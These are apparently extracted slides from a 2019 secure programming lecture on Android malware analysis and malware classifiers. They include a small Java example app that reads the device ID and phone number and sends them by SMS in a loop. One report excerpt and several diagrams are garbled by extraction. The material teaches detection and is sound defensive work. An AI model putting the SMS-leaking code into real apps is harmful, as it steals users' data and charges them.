secure programming lecture 17: malware analysis for ... · android architecture java api framework:...
TRANSCRIPT
Secure Programming Lecture 17:Malware Analysis for Android Apps
David Aspinall(with slides courtesy of Wei Chen)
14th November 2019
Outline
É Background: Android apps and malwareÉ Introduction: malware analysis in generalÉ Example: construct behavioural models for appsÉ Example: classifiers for detecting malwareÉ Reflection: lessons for secure programming
Outline
É Background: Android apps and malwareÉ Introduction: malware analysis in generalÉ Example: construct behavioural models for appsÉ Example: classifiers for detecting malwareÉ Reflection: lessons for secure programming
Android apps and markets
Android apps and markets
App stores own devices
É 2019: Google Play has >2 billion active devicesÉ “less than 1% of devices have PHAs installed”É faulty programming can compromise many
É Many platform security mechanisms, e.g.:É secure boot, access controls, sandboxing, signing,
kernel hardening, keystores, crypto APIs.É App store defences:É reputational trust: 8889 from 22,000 usersÉ vetting, scanning, behavioural testingÉ automatic and manual malware analysisÉ 2017-18: cloud based machine learning
É Problems:É pure sandboxing too extreme (escape via cloud)É access controls hard to configure, understandÉ code signing at best establishes who not what
Example: Flashlight
Example: Flashlight
89999 “Why in the world would I wanta flashlight app that collects so much info aboutme?”
88888 “This app is extremely brightand does its job well. I don’t know what othersmean when they say that they have so manyproblems with it.”
Flashlights still bad... (2018)
Flashlights still bad... (2019)
Android Security & Privacy Report 2018
Android Security 2018 Year in Review 21
Percentage of PHA installs by category in Google Play, 2017 vs. 2018
Click fraud
Trojan
SMS fraud
Spyware
Toll fraud
Backdoor
Hostile downloader
Privilege escalation
Phishing
Others
54.9%
16.0%
6.8%
5.5%
4.2%
4.2%
Clickfraud
0.023%
SMSfraud
0.003% 0.003%
Spyware
0.003% 0.002%
Tollfraud
0.003% 0.002%
Trojan
0.004%
0.007%
2017 2018
0.003%0.001%
Hostiledownloader
0.000%0.002%
Backdoor
0.002%<0.001%
Phishing0.001% 0.001%
Privilegeescalation
PHA
INST
ALL
RA
TECommercialspyware
<0.001% <0.001%
Distribution of PHA categories in Google Play, 2018
Google Play: Click fraud+P�������ENKEM�HTCWF�CRRU�CEEQWPVGF�HQT�������QH�VJG�VQVCN�KPUVCNNCVKQP�TCVG�QH�2*#U�QT��������QH�CNN�CRR�KPUVCNNU���9G�TGECVGIQTK\GF�ENKEM�HTCWF�CRRU�HTQO�RQNKE[�XKQNCVKQPU�VQ�2*#U��YJKEJ�KPETGCUGF�)QQING�2NC[�2TQVGEVŦU�FGVGEVKQP�CPF�TGOQXCN�QH�VJGUG�CRRU��9G�GZRGEV�ENKEM�HTCWF�VQ�TGOCKP�C�RTQƒVCDNG�HTCWF�XGEVQT��DWV�CV�C�NQYGT�UECNG�VJCP�KP������
.CUV�[GCT��ENKEM�HTCWF�CRRU�YGTG�OCKPN[�VCTIGVKPI�VJG�75#��$TC\KN��CPF�/GZKEQ�
9JKNG�UWEJ�CRRU�FQ�GZKUV��KV�KU�JCTF�VQ�UECNG�WR�CPF�OCMG�OQPG[�VJCV�YC[��+PUVGCF��VJGUG�CRRU�CRRGCT�VQ�JCXG�FGUKTCDNG�HGCVWTGU�UWEJ�CU�OWUKE�QT�ICOKPI��DWV�CP�GODGFFGF�5&-�KU�GZGEWVKPI�ENKEM�HTCWF�KP�VJG�DCEMITQWPF��QHVGP�YKVJQWV�VJG�MPQYNGFIG�QH�VJG�CRR�FGXGNQRGTU�VJGOUGNXGU��&KUVTKDWVKPI�ENKEM�HTCWF�EQFG�KP�VJKU�YC[�KU�GCUKN[�UECNCDNG�CPF�OCMGU�KV�GCU[�HQT�ENKEM�HTCWF�5&-�FGXGNQRGTU�VQ�DG�RTGUGPV�KP�VJG�CRRU�QH�JWPFTGFU�QT�GXGP�VJQWUCPFU�QH�FGXGNQRGTU�
Android malware & families
How could we know what happensin a malware instance?
Context matters
Send SMS
NORMAL WEIRD
Context matters
Access Location
NORMAL WEIRD
Flashlight Application
V.S.
SUSPICIOUS NORMAL
This flashlight application contains some unreasonablebehaviours compared with its fellow applications. It willgrab your location, phone number, device number andaccess your storage.
Outline
É Background: Android apps and malwareÉ Introduction: malware analysis in generalÉ Example: construct behavioural models for appsÉ Example: classifiers for detecting malwareÉ Reflection: lessons for secure programming
Malware analysis
Malware: any software that is harmful to people,computers, networks, systems, etc., including: Trojanhorses, worms, spyware, adware, ransomware, etc.
Malware analysis: the art (maybe science) ofdissecting and understanding what happens inmalware, so as to eliminate malware in future.
Limitation: cannot capture unseen malicious patternswhich might cause failure to detect new malware.
Malware analysis techniquesReverse engineering: decompilation and manualinvestigation.
É Precise but expensive (days/weeks per app).
Static analysis: produce models and check propertieswithout running apps.
É Basic: use meta-information, API calls, hashingto identify code, compression to measuredistance. Coarse but efficient (seconds per app).É Advanced: construct call graphs and data flows,
check safety (bad things will never happen) orliveness (good things will eventually happen)properties, i.e., model checking. Expensive (hoursor days per app) and often over-approximates(cover things that never happen).
Malware analysis: techniquesDynamic analysis: run, emulate, or simulate (part of)an app to produce traces and check properties.
É Efficient (minutes per app) but oftenunder-approximates (miss things that willhappen) and hard to mimic user input.
Machine learning: classification or outlier detectionusing statistical models.
É Efficient (training and detecting in seconds per app)but often over-fitting to the training data (notgeneral enough to capture new behaviours) andhard to explain the reasons making a decision.
In general the goal is to build abstract models tocharacterise malicious patterns and infer by exploitingthese models.
Malware analysis: techniques
Precision
Efficiency
Reverse engineering
Advanced static analysisMachine learning
Dynamic analysis
Basic static analysis
Comprehension
Automation
Reverse engineering
Advanced static analysis
Machine learning
Dynamic analysis
Basic static analysis
Outline
É Background: Android apps and malwareÉ Introduction: malware analysis in generalÉ Example: construct behavioural models for appsÉ Example: classifiers for detecting malwareÉ Reflection: lessons for secure programming
Android ArchitectureJava API Framework:É Components: Activity,
Service, Receiver,Content Provider, etc.É Lifecycle: organisation
of callbacks.É Inter-procedural call:
within a procedure callanother procedure.É Multiple entries: can be
triggered by systemevents.É Inter-component
communication: start acomponent fromanother component.
Example: construct behavioural models
// • MAIN //
SMS_RECEIVED��
•SEND_SMS
,,
click
��•
SEND_SMS
��
click
ll
•READ_PHONE_STATE
// •READ_PHONE_STATE
OO
É control-dependences of events and API callsÉ abstract API calls into permission-like phrasesÉ over-approximate behavioural aspects of appsÉ model inter-component communicationÉ don’t model data-flows, reflection, or obfuscation
Example: construct behavioural models
Manifest file:
<activity android:name="com.example.Main" ><intent-filter><action android:name="android.intent.action.MAIN" /><action android:name="com.main.intent" />
</intent-filter></activity><receiver android:name="com.example.Receiver" ><intent-filter><action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter></receiver>
Example: construct behavioural models
Activity:public class Main extendsActivity implements View.OnClickListener {private static String info = "";protected void onCreate(Bundle savedInstanceState) {Intent intent = getIntent();info = intent.getStringExtra("DEVICE_ID");info += intent.getStringExtra("TEL_NUM");SendSMSTask task = new SendSMSTask();task.execute(); }
public void onClick (View v) {SendSMSTask task = new SendSMSTask();task.execute(); }
private class SendSMSTask extends AsyncTask<Void, Void, Void> {protected Void doInBackground(Void... params) {while (true) {SmsManager sms = SmsManager.getDefault();sms.sendTextMessage("1234", null, info, null, null); }
return null; }}}
Example: construct behavioural modelsActivity’s lifecycle:
// •MAIN
��
•onPause
&& •onResume
ee
onStop��
• onCreate // • onStart // •onResume
OO
click
��
•onDestroy
//
onRestart
jj •
•
onClick
EE
Example: construct behavioural models
Activity’s lifecycle:
// •MAIN
��
•ε
&& •ε
ee
�
• onCreate // • ε // •
ε
OO
click
��
• ε//
ε
jj •
•
onClick
EE
Example: construct behavioural models
Activity’s behaviour automaton:
// •MAIN
��
•ε
&& •ε
ee
�
• onCreate // • ε // •
ε
OO
click
��
• ε//
ε
jj •
•
onClick
EE
// • MAIN // •
click
��sendTextMessage
,, •
sendTextMessage
��
click
ll
Example: construct behavioural models
Receiver:
public class Receiver extends BroadcastReceiver {public void onReceive(Context context, Intent intent) {Intent intent = new Intent();intent.setAction("com.main.intent");TelephonyManager tm = (TelephonyManager)getBaseContext().getSystemService(Context.TELEPHONY_SERVICE);intent.putExtra("DEVICE_ID", tm.getDeviceId());intent.putExtra("TEL_NUM", tm.getLine1Number());sendBroadcast(intent); }}
// •SMS_RECEIVED // •
getDeviceId // •getLine1Number // •
Example: construct behavioural models
// • MAIN //
SMS_RECEIVED��
•sendTextMessage
,,
click
��•
sendTextMessage
��
click
ll
•getDeviceId
// •getLine1Number
OO
// • MAIN //
SMS_RECEIVED��
•SEND_SMS
++
click
��•
SEND_SMS
��
click
kk
•READ_PHONE_STATE
// •READ_PHONE_STATE
OO
Example: Flashlight
The extended call graphs for Flashlight only consideringinter-procedural calls.
Example: Flashlight
The extended call-graph for Flashlight consideringlifecylce and inter-component communication.
Example: Flashlight
•
NS
��
N
$$// • MAIN // •N
//
NS
OO
L,C,W
��
click
$$
•
•
L,C,W,click
ZZ
NS
DD
N
::
•L,C,W,click
oo
VIEW, N
OO
NS
cc
N: INTERNET (connect to Internet) VIEW (display data to user)NS: ACCESS_NETWORK_STATE L: ACCESS_FINE_LOCATIONC: CAMERA (use cameras) W: WEAK_LOCK (make the device stay-on)
Questions and Discussion
É What do you think about the static analysisapproach?É Are there other automatic methods which can help
our understanding of malware?É Could static analysis help improve other automatic
methods?
Outline
É Introduction: malware analysis in generalÉ Background: Android apps and malwareÉ Example: construct behavioural models for appsÉ Example: classifiers for detecting malwareÉ Reflection: lessons for secure programming
Syntax-Based Android Malware Classifiers
Training Validation (2011-13) Testing (2014)
(2011-13) precision recall precision recall
permissions 89% 99% 55% 23%
apis 93% 98% 62% 13%
all 95% 98% 65% 15%
Robustness of these well-trained classifiers is poor.
These classifiers were trained on 3,000 pre-labelled apps usingL1-regularised linear regression. Precision is the percentage ofdetected apps that are real malware; recall the percentage realmalware detected. Ref: Chen et al. More Semantics More Robust:
Improving Android Malware Classifers, WiSec 2016.
Syntax-Based Features — Permissions
É over 200 permissions;É coarse and lightweight;É good on validation but
poor on testing (newmalware): precision89% 55%,recall 99% 23%;É requesting a
permission doesn’tmean it will be used.
Syntax-Based Features — API Calls
É over 50,000 APIs;É precise and lightweight;É good on validation but
poor on testing (newmalware): precision93% 62%,recall 98% 13%;É API calls might
appear in dead codeand most of themare trivial;É order matters in
malicious behaviour
Semantics-Based Features — Reachables
// • MAIN //
SMS_RECEIVED��
•SEND_SMS
,,
click
��•
SEND_SMS
��
click
ll
•READ_PHONE_STATE
// •READ_PHONE_STATE
OO
⇓
{MAIN,click,SMS_RECEIVED,SEND_SMS,READ_PHONE_STATE}
É over 300 reachables;É testing performance is improved: recall reaches
72%.É validation performance not as good as
syntax-based: precision drops to 73%.
Semantics-Based Features — Invoke-Befores
// • MAIN //
SMS_RECEIVED��
•SEND_SMS
,,
click
��•
SEND_SMS
��
click
ll
•READ_PHONE_STATE
// •READ_PHONE_STATE
OO
⇓
{(MAIN, SEND_SMS), (click, SEND_SMS),(SMS_RECEIVED, SEND_SMS), · · ·}
É over 2,000 invoke-befores;É testing performance improved: recall reaches 70%.É validation performance not as good as syntax:
precision drops to 68%.
Semantics-Based — Unwanted Behaviour
•
SEND_SMS,N
��
M0 : // •
SMS_RECEIVED
OO
MAIN��
B,V // •
•R// •
R
ZZ
C
OO
M1 : // •
MAIN��
SMS_RECEIVED // •
SEND_SMS��
•
R
ZZ •
B0 : // • MAIN // •
R
��B1 : // •
SMS_RECEIVED // •
READ_SMS
��
N: INTERNET (connect to Internet) V: VIEW (display data to user)B: BOOT_COMPLETED R: READ_PHONE_STATEC: CHANGE_WIFI_STATE (when WIFI state changes)
Semantics-Based — Unwanted Behaviour
F0 : // ◦ MAIN // •
R
��F1 : // ◦
SMS_RECEIVED // •
F2 : // ◦SMS_RECEIVED // ◦
SEND_SMS // • F3 : // •
F4 : // ◦SMS_RECEIVED // •
READ_SMS
��
◦SEND_SMS //
N
��
◦
SEND_SMS, N��
F5 : // ◦
SMS_RECEIVED
OO
MAIN��
B,V // • •
SEND_SMS, N
ZZ
◦R// ◦
R
ZZ
C
OO
F0 = (M0 ∩M1 ∩ B0)− B1F1 = (M0 ∩M1 ∩ B1)− B0F2 = ((M0 ∩M1)− B0)− B1F3 = M0 ∩M1 ∩ B0 ∩ B1F4 = B1 − ((M0 ∩M1)− B0)F5 = ((M0 − M1)− B0)− B1
Syntax-Based vs. Semantics-Based Features
Sign-A: permissions; Sign-B: actions; Sign-C: API callsPolicy-A: reachables; Policy-B: invoke-befores; Policy-C: unwanted behaviour
Evaluation — Most Robust General Classifiers
Training Trainingρ1 ρ0.5 ↓method feature
NB actions 76 71L1LR reachables Ø 74 70NB reachables Ø 72 70
L1LR unwanted Ø 71 70NB happen-befores Ø 70 67
SVM keywords 73 66DT happen-befores Ø 70 65
AdaBoost keywords 71 64KNN keywords 71 64NB permissions 71 64
L1LR happen-befores Ø 69 64RF happen-befores Ø 69 64
SEMI happen-befores Ø 68 63NB keywords 68 59
Evaluation — Least Robust General Classifiers
Training Trainingρ1 ρ0.5 ↑method feature
SEMI API calls 14 9RF API calls 14 9NB API calls 19 13
SVM actions 19 13L1LR actions 21 14
AdaBoost actions 21 15DT API calls 25 17
SVM API calls 26 18KNN actions 27 19
AdaBoost API calls 27 19RF actions 29 20
SEMI actions 31 22DT actions 33 23
L1LR API calls 35 25
Questions and Discussion
É What do you think about machine learningmethods?É How could we improve the construction of
unwanted behaviours? (on-going research)É Are there others model we can learn for malware
detection? (on-going research)
App Guarden project (2013-17)
Website: http://groups.inf.ed.ac.uk/security/appguarden/
Presbema project (2017-21)
Website:https://davidaspinall.github.io/presbema/
Outline
É Background: Android apps and malwareÉ Introduction: malware analysis in generalÉ Example: construct behavioural models for appsÉ Example: classifiers for detecting malwareÉ Reflection: lessons for secure programming
Reflection: lessons for secure programming
É Don’t request permissions you never use. Noticethat third-party libraries often request morepermissions.É Avoid using any third-party library (advertisement
library) which you think it might cause harm tousers (information leakage) or others (turn thesmart phone into a bot, Trojans, injection, etc.)É Use static analysis tools to help you understand
what happens in these libraries.É Use obfuscation tools to optimise and protect code.É Avoid using reflection and hidden libraries.É Try your best to protect personal information.É Encrypt any sensitive information.
Further Reading
É Chen et al. More Semantics More Robustness: ImprovingAndroid Malware Classifiers. Proc. WiSec 2016.
É Chen et al. On Robust Malware Classifiers by VerifyingUnwanted Behaviours. iFM 2016.
É Seghir et al. Certified Lightweight Contracts for Android,SecDev 2016.
É Other publications on App Guarden and Presbema projectpages (and other research projects worldwide).